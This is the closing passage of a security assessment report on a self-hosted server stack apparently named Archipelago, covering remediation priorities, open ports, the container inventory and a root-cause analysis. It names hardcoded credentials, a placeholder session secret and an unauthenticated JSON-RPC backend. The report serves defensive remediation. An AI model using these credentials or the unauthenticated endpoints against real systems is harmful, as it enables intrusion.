| **P1** | Require cryptographic signature verification on `/archipelago/node-message`. | AUTH-008, XSS-001, INJ-007 |
| **P1** | Replace CORS `*` with explicit allowed origins. Block direct access to port 5678 via firewall. | AUTH-009, XSS-007, AUTH-011, AUTH-012 |
| **P1** | Add security headers to nginx (`CSP`, `X-Frame-Options`, `X-Content-Type-Options`, `Referrer-Policy`). Remove `server_tokens`. | XSS-004 |
| **P1** | Apply `validate_onion()` to `node-check-peer`. Restrict messaging to known peers only. | SSRF-001, SSRF-002 |

### Medium-Term (Medium — implement within 1 month)

| Priority | Action | Findings Addressed |
|----------|--------|--------------------|
| **P2** | Stop running backend as root. Create dedicated `archipelago` service account. | Amplification factor |
| **P2** | Disable dev mode (`ARCHIPELAGO_DEV_MODE=false`) in production. | Amplification factor |
| **P2** | Validate `manifest_path` in `container-install` against allowlisted directories. Normalize error messages. | INJ-001 |
| **P2** | Add authentication to `/aiui/api/` nginx proxy locations. | INJ-006 |
| **P2** | Sanitize echo endpoint output. | XSS-005 |

### Architectural Recommendations

1. **Defense in depth:** The system relies on a single authentication layer (currently broken). Add network-level controls (firewall port 5678), nginx-level auth, and backend middleware as independent layers.

2. **Input validation framework:** Create a shared validation module for all RPC parameters. Establish allowlist patterns for `app_id`, `package_id`, `manifest_path`, `onion`, and `dockerImage`.

3. **Secrets management:** Hardcoded credentials found in source (`archipelago:archipelago123` for Bitcoin RPC, `password123` for dev mode). Migrate all credentials to `core/security/secrets_manager.rs`.

4. **Session secret:** `core/.env.production` contains `ARCHIPELAGO_SESSION_SECRET=CHANGE_ME_ON_FIRST_RUN`. Generate a cryptographically random secret on first boot before any sessions are created.

---

## 7. Appendix

### A. Technologies Detected

| Layer | Technology | Version |
|-------|-----------|---------|
| OS | Debian 12 (Bookworm) | — |
| Web Server | nginx | 1.22.1 |
| Reverse Proxy (containers) | OpenResty (Nginx Proxy Manager) | 2.14.0 |
| Backend | Rust (custom binary on port 5678) | — |
| Frontend | Vue 3 + TypeScript + Vite 7 | — |
| Container Runtime | Podman (rootless) | — |
| SSH | OpenSSH | 9.2p1 |

### B. Open Ports

| Port | Service | Auth Required |
|------|---------|---------------|
| 22/tcp | SSH (OpenSSH 9.2p1) | Yes |
| 80/tcp | HTTP (nginx — main UI) | No |
| 81/tcp | HTTP (Nginx Proxy Manager — setup incomplete) | No |
| 443/tcp | HTTPS (self-signed TLS) | No |
| 5678/tcp | HTTP (Rust backend — JSON-RPC) | **No** |
| 8080/tcp | HTTPS (LND REST API) | Macaroon |

### C. Container Inventory (30 containers — enumerated without authentication)

bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana, onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint

### D. Findings Not Exploitable (excluded from report)

| ID | Description | Reason |
|----|-------------|--------|
| AUTH-004 | Hardcoded default credentials (`password123`) | User has changed password on production |
| AUTH-010 | Weak initial password policy (8-char minimum) | Setup already complete |
| XSS-002/003 | postMessage origin bypass | Client-side only; confirmed via source review, not live exploitation |
| XSS-006 | test-aiui.html postMessage | Test file, minimal impact |
| SSRF-003 | LND proxy SSRF | TLS mismatch blocks data access |
| SSRF-005 | marketplace.get arbitrary URL fetch | Dormant code, not compiled into active binary |
| INJ-003 | Arbitrary volume mount via bundled-app-start | Requires valid app data; returned "Missing image" |
| INJ-005 | Argument injection via package.stop | Ambiguous result; needs further investigation |

### E. Root Cause Analysis

```
AUTH-001 (No session management)
  |
  +-- AUTH-002 (All endpoints unauthenticated)
  |     |
  |     +-- AUTH-005 (Frontend-only auth)
  |     +-- AUTH-007 (WebSocket unauthenticated)
  |     +-- AUTH-008 (Message injection)
  |     +-- AUTH-011 (LND proxy unauthenticated)
  |     +-- AUTH-012 (Container logs unauthenticated)
  |     +-- SSRF-001 (Blind SSRF)
  |     +-- SSRF-002 (Outbound SSRF)
  |     +-- SSRF-004 (Arbitrary container pull)
  |     +-- INJ-001 (File oracle)
  |     +-- INJ-002 (Path traversal)
  |     +-- XSS-001 (Stored XSS)
  |     +-- INJ-007 (Log injection)
  |
  +-- AUTH-003 (No brute force protection)
  +-- AUTH-006 (No-op logout)

AUTH-009/XSS-007 (CORS wildcard) — amplifies all above to remote exploitation
XSS-004 (Missing headers) — removes defense-in-depth for client-side attacks
```

**Fixing AUTH-001 addresses the root cause and blocks exploitation of 15 of 21 findings.** The remaining 6 (AUTH-003, AUTH-006, AUTH-009, XSS-001, XSS-004, XSS-007) require independent fixes but become significantly less impactful once authentication is in place.

---

*End of Report*

*Report generated: 2026-03-06 | Assessment period: 2026-03-06 | Classification: CONFIDENTIAL*
